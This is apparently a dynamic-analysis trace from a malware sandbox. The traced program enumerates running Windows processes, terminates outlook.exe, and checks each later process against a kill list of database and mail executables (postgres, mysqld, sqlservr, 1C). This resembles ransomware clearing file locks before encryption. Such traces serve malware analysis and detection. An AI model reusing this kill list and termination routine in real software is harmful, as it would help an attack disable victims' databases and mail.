	[0056.130] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.131] lstrlenW (lpString="svchost.exe") returned 11
	[0056.131] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0056.132] lstrlenW (lpString="dwm.exe") returned 7
	[0056.132] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.132] lstrlenW (lpString="svchost.exe") returned 11
	[0056.132] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.133] lstrlenW (lpString="svchost.exe") returned 11
	[0056.133] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.133] lstrlenW (lpString="svchost.exe") returned 11
	[0056.133] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.134] lstrlenW (lpString="svchost.exe") returned 11
	[0056.134] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.135] lstrlenW (lpString="svchost.exe") returned 11
	[0056.135] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.136] lstrlenW (lpString="svchost.exe") returned 11
	[0056.136] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.136] lstrlenW (lpString="svchost.exe") returned 11
	[0056.136] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.137] lstrlenW (lpString="svchost.exe") returned 11
	[0056.137] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.137] lstrlenW (lpString="svchost.exe") returned 11
	[0056.137] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.138] lstrlenW (lpString="svchost.exe") returned 11
	[0056.138] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0056.139] lstrlenW (lpString="spoolsv.exe") returned 11
	[0056.139] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.139] lstrlenW (lpString="svchost.exe") returned 11
	[0056.139] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0056.140] lstrlenW (lpString="audiodg.exe") returned 11
	[0056.140] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0056.140] lstrlenW (lpString="sihost.exe") returned 10
	[0056.140] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.141] lstrlenW (lpString="svchost.exe") returned 11
	[0056.141] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0056.141] lstrlenW (lpString="taskhostw.exe") returned 13
	[0056.141] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0056.142] lstrlenW (lpString="explorer.exe") returned 12
	[0056.142] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0056.142] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0056.142] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0056.143] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0056.143] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0056.143] lstrlenW (lpString="Memory Compression") returned 18
	[0056.143] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0056.144] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0056.144] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0056.145] lstrlenW (lpString="SearchUI.exe") returned 12
	[0056.145] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0056.145] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0056.145] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0056.146] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0056.146] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0056.146] lstrlenW (lpString="pending.exe") returned 11
	[0056.146] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0056.147] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0056.147] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0056.147] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0056.147] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0056.148] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0056.148] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0056.148] lstrlenW (lpString="search.exe") returned 10
	[0056.148] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0056.149] lstrlenW (lpString="dllhost.exe") returned 11
	[0056.149] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0056.149] lstrlenW (lpString="compatibility.exe") returned 17
	[0056.149] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0056.150] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0056.150] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0056.150] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0056.150] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0056.151] lstrlenW (lpString="try.exe") returned 7
	[0056.151] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0056.151] lstrlenW (lpString="consultancy.exe") returned 15
	[0056.152] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0056.152] lstrlenW (lpString="especially.exe") returned 14
	[0056.152] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0056.153] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0056.153] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0056.153] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0056.153] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0056.154] lstrlenW (lpString="modules.exe") returned 11
	[0056.154] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0056.154] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0056.154] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0056.155] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0056.155] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0056.155] lstrlenW (lpString="3dftp.exe") returned 9
	[0056.155] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0056.156] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0056.156] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0056.156] lstrlenW (lpString="alftp.exe") returned 9
	[0056.156] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0056.157] lstrlenW (lpString="barca.exe") returned 9
	[0056.157] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0056.158] lstrlenW (lpString="bitkinex.exe") returned 12
	[0056.158] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0056.159] lstrlenW (lpString="coreftp.exe") returned 11
	[0056.159] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0056.160] lstrlenW (lpString="far.exe") returned 7
	[0056.160] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0056.161] lstrlenW (lpString="filezilla.exe") returned 13
	[0056.161] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0056.162] lstrlenW (lpString="flashfxp.exe") returned 12
	[0056.162] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0056.162] lstrlenW (lpString="fling.exe") returned 9
	[0056.162] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0056.163] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0056.163] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0056.164] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0056.164] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0056.165] lstrlenW (lpString="icq.exe") returned 7
	[0056.165] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0056.166] lstrlenW (lpString="leechftp.exe") returned 12
	[0056.166] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0056.300] lstrlenW (lpString="ncftp.exe") returned 9
	[0056.300] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0056.301] lstrlenW (lpString="notepad.exe") returned 11
	[0056.301] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0056.302] lstrlenW (lpString="operamail.exe") returned 13
	[0056.302] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0056.303] lstrlenW (lpString="outlook.exe") returned 11
	[0056.303] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x310) returned 0x244
	[0056.303] TerminateProcess (hProcess=0x244, uExitCode=0x0) returned 1
	[0056.310] CloseHandle (hObject=0x244) returned 1
	[0056.310] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0056.310] lstrlenW (lpString="pidgin.exe") returned 10
	[0056.310] lstrcmpiW (lpString1="1c8.exe", lpString2="pidgin.exe") returned -1
	[0056.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="pidgin.exe") returned -1
	[0056.311] lstrcmpiW (lpString1="outlook.exe", lpString2="pidgin.exe") returned -1
	[0056.311] lstrcmpiW (lpString1="postgres.exe", lpString2="pidgin.exe") returned 1
	[0056.311] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="pidgin.exe") returned -1
	[0056.311] lstrcmpiW (lpString1="mysqld.exe", lpString2="pidgin.exe") returned -1
	[0056.311] lstrcmpiW (lpString1="sqlservr.exe", lpString2="pidgin.exe") returned 1
	[0056.311] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0056.311] lstrlenW (lpString="scriptftp.exe") returned 13
	[0056.311] lstrcmpiW (lpString1="1c8.exe", lpString2="scriptftp.exe") returned -1
	[0056.311] lstrcmpiW (lpString1="1cv77.exe", lpString2="scriptftp.exe") returned -1
	[0056.312] lstrcmpiW (lpString1="outlook.exe", lpString2="scriptftp.exe") returned -1
	[0056.312] lstrcmpiW (lpString1="postgres.exe", lpString2="scriptftp.exe") returned -1
	[0056.312] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="scriptftp.exe") returned -1
	[0056.312] lstrcmpiW (lpString1="mysqld.exe", lpString2="scriptftp.exe") returned -1
	[0056.312] lstrcmpiW (lpString1="sqlservr.exe", lpString2="scriptftp.exe") returned 1
	[0056.312] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0056.312] lstrlenW (lpString="skype.exe") returned 9
	[0056.312] lstrcmpiW (lpString1="1c8.exe", lpString2="skype.exe") returned -1
	[0056.312] lstrcmpiW (lpString1="1cv77.exe", lpString2="skype.exe") returned -1
	[0056.312] lstrcmpiW (lpString1="outlook.exe", lpString2="skype.exe") returned -1
	[0056.312] lstrcmpiW (lpString1="postgres.exe", lpString2="skype.exe") returned -1
	[0056.313] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="skype.exe") returned -1
	[0056.313] lstrcmpiW (lpString1="mysqld.exe", lpString2="skype.exe") returned -1
	[0056.313] lstrcmpiW (lpString1="sqlservr.exe", lpString2="skype.exe") returned 1
	[0056.313] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0056.313] lstrlenW (lpString="smartftp.exe") returned 12
	[0056.313] lstrcmpiW (lpString1="1c8.exe", lpString2="smartftp.exe") returned -1
	[0056.313] lstrcmpiW (lpString1="1cv77.exe", lpString2="smartftp.exe") returned -1
	[0056.313] lstrcmpiW (lpString1="outlook.exe", lpString2="smartftp.exe") returned -1
	[0056.313] lstrcmpiW (lpString1="postgres.exe", lpString2="smartftp.exe") returned -1
